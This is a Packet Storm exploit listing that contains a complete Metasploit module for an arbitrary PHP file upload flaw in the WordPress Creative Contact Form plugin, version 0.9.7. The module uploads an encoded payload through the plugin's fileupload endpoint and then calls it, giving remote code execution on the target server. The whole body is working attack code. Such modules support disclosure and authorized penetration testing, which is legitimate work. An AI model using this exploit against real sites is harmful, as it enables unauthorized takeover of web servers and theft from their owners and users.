WordPress Creative Contact Form Upload

2015-04-19T00:00:00
ID PACKETSTORM:131513
Type packetstorm
Reporter Gianni Angelozzi
Modified 2015-04-19T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::HTTP::Wordpress  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Wordpress Creative Contact Form Upload Vulnerability',  
'Description' => %q{  
This module exploits an arbitrary PHP code upload in the WordPress Creative Contact  
Form version 0.9.7. The vulnerability allows for arbitrary file upload and remote code execution.  
},  
'Author' =>  
[  
'Gianni Angelozzi', # Vulnerability discovery  
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['EDB', '35057'],  
['OSVDB', '113669'],  
['WPVDB', '7652']  
],  
'Privileged' => false,  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['Creative Contact Form 0.9.7', {}]],  
'DisclosureDate' => 'Oct 22 2014',  
'DefaultTarget' => 0)  
)  
end  
  
def check  
check_plugin_version_from_readme('sexy-contact-form', '1.0.0')  
end  
  
def exploit  
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'  
  
data = Rex::MIME::Message.new  
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{php_pagename}\"")  
post_data = data.to_s  
  
res = send_request_cgi({  
'uri' => normalize_uri(wordpress_url_plugins, 'sexy-contact-form', 'includes', 'fileupload', 'index.php'),  
'method' => 'POST',  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data  
})  
  
if res  
if res.code == 200 && res.body =~ /files|#{php_pagename}/  
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")  
register_files_for_cleanup(php_pagename)  
else  
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")  
end  
else  
fail_with(Failure::Unknown, 'ERROR')  
end  
  
print_status("#{peer} - Calling payload...")  
send_request_cgi(  
'uri' => normalize_uri(wordpress_url_plugins, 'sexy-contact-form', 'includes', 'fileupload', 'files', php_pagename)  
)  
end  
end  
`